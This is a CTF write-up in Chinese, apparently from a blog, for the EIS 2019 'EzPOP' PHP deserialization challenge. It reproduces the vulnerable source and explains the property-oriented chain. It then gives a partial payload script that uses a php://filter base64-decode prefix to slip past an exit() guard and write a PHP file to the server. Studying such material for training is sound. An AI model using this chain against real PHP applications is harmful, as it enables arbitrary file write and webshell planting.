• [EIS 2019]EzPOP


    1. error_reporting(0);
    2. class A {
    3. protected $store;
    4. protected $key;
    5. protected $expire;
    6. public function __construct($store, $key = 'flysystem', $expire = null) {
    7. $this->key = $key;
    8. $this->store = $store;
    9. $this->expire = $expire;
    10. }
    11. public function cleanContents(array $contents) {
    12. $cachedProperties = array_flip([
    13. 'path', 'dirname', 'basename', 'extension', 'filename',
    14. 'size', 'mimetype', 'visibility', 'timestamp', 'type',
    15. ]);
    16. foreach ($contents as $path => $object) {
    17. if (is_array($object)) {
    18. $contents[$path] = array_intersect_key($object, $cachedProperties);
    19. }
    20. }
    21. return $contents;
    22. }
    23. public function getForStorage() {
    24. $cleaned = $this->cleanContents($this->cache);
    25. return json_encode([$cleaned, $this->complete]);
    26. }
    27. public function save() {
    28. $contents = $this->getForStorage();
    29. $this->store->set($this->key, $contents, $this->expire);
    30. }
    31. public function __destruct() {
    32. if (!$this->autosave) {
    33. $this->save();
    34. }
    35. }
    36. }
    37. class B {
    38. protected function getExpireTime($expire): int {
    39. return (int) $expire;
    40. }
    41. public function getCacheKey(string $name): string {
    42. return $this->options['prefix'] . $name;
    43. }
    44. protected function serialize($data): string {
    45. if (is_numeric($data)) {
    46. return (string) $data;
    47. }
    48. $serialize = $this->options['serialize'];
    49. return $serialize($data);
    50. }
    51. public function set($name, $value, $expire = null): bool{
    52. $this->writeTimes++;
    53. if (is_null($expire)) {
    54. $expire = $this->options['expire'];
    55. }
    56. $expire = $this->getExpireTime($expire);
    57. $filename = $this->getCacheKey($name);
    58. $dir = dirname($filename);
    59. if (!is_dir($dir)) {
    60. try {
    61. mkdir($dir, 0755, true);
    62. } catch (\Exception $e) {
    63. // 创建失败
    64. }
    65. }
    66. $data = $this->serialize($value);
    67. if ($this->options['data_compress'] && function_exists('gzcompress')) {
    68. //数据压缩
    69. $data = gzcompress($data, 3);
    70. }
    71. $data = " . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
    72. $result = file_put_contents($filename, $data);
    73. if ($result) {
    74. return true;
    75. }
    76. return false;
    77. }
    78. }
    79. if (isset($_GET['src']))
    80. {
    81. highlight_file(__FILE__);
    82. }
    83. $dir = "uploads/";
    84. if (!is_dir($dir))
    85. {
    86. mkdir($dir);
    87. }
    88. unserialize($_GET["data"]);

    这种长的,感觉从功能入手比较好搞

    file_put_contents($filename, $data);

    写入文件名和数据

    $data = " . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

    由一个php语句,还有一个exit,要绕过它谈一谈php://filter的妙用 | 离别歌

    1. if ($this->options['data_compress'] && function_exists('gzcompress')) {
    2. //数据压缩
    3. $data = gzcompress($data, 3);
    4. }

    这里进去if的化data会被压缩,所以不能进去,那就要options['data_compress']为空才行

    1. protected function serialize($data): string {
    2. if (is_numeric($data)) {
    3. return (string) $data;
    4. }
    5. $serialize = $this->options['serialize'];
    6. return $serialize($data);
    7. }
    8. $data = $this->serialize($value);

    这里相当于先判断data是不是数字,然后返回由options['serialize']所代表的函数之类的处理过后的data,options['serialize']的值需要是一个不影响data的函数。

    之后是filename

    $dir = dirname($filename);
    

    dirname() 函数返回路径中的目录名称部分。

    1. $filename = $this->getCacheKey($name);
    2. public function getCacheKey(string $name): string {
    3. return $this->options['prefix'] . $name;
    4. }

    把options['prefix']拼在name的前面

    然后这些都是在自定义的set函数下进行的

    public function set($name, $value, $expire = null)

    而进入set需要先进入save,又会触发getForStorage函数

    1. public function save() {
    2. $contents = $this->getForStorage();
    3. $this->store->set($this->key, $contents, $this->expire);
    4. }
    5. public function __destruct() {
    6. if (!$this->autosave) { //需要autosave不存在才可以进入save
    7. $this->save();
    8. }
    9. }
    1. public function cleanContents(array $contents) {
    2. $cachedProperties = array_flip([ //array_flip() 函数用于反转/交换数组中的键名和对应关联的键值。
    3. 'path', 'dirname', 'basename', 'extension', 'filename',
    4. 'size', 'mimetype', 'visibility', 'timestamp', 'type',
    5. ]);
    6. foreach ($contents as $path => $object) {
    7. if (is_array($object)) {
    8. $contents[$path] = array_intersect_key($object, $cachedProperties);
    9. } //array_intersect_key() 函数用于比较两个(或更多个)数组的键名 ,并返回交集。
    10. }
    11. return $contents; //这个函数我们输入的键名要是$cachedProperties里面的一个,而值则是我们的语句
    12. }
    13. public function getForStorage() {
    14. $cleaned = $this->cleanContents($this->cache);
    15. return json_encode([$cleaned, $this->complete]);
    16. }
    1. if (is_null($expire)) {
    2. $expire = $this->options['expire'];
    3. }
    4. $data = " . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
    5. public function set($name, $value, $expire = null)

    这里expire默认null,然后进入if,expire的值变为options['expire']的值,而data里面需要expire为十进制数,所以要把options['expire']的值改为十进制数

    1. ');
    2. $this->key = "1.php";
    3. $this->store = new B();
    4. $this->autosave = false;
    5. $this->expire = 0;
    6. }
    7. }
    8. class B{
    9. public $options = array();
    10. function __construct()
    11. {
    12. $this->options['serialize'] = 'trim';
    13. $this->options['prefix'] = 'php://filter/write=convert.base64-decode/resource=';
    14. $this->options['data_compress'] = false;
    15. }
    16. }
    17. echo urlencode(serialize(new A()));

     

     之后?data=payload就可以生成1.php

     

     

     

  • 相关阅读:
    NASM汇编教程翻译01 第一讲 Hello, World!
    智能仓储立库核心干货|立体化立体仓库类型是如何进行叉车和堆垛机配置?
    深度学习预备知识(线性代数)
    如何在Excel中实现三联类模板?
    【附源码】计算机毕业设计SSM网上购物系统
    继承-学习2
    Linux小知识---子进程与线程的一些知识点
    SpringCloud-Nacos集群搭建
    Python 小贴士(3)
    ChatGPT:something went wrong
  • 原文地址:https://blog.csdn.net/stantic/article/details/126795971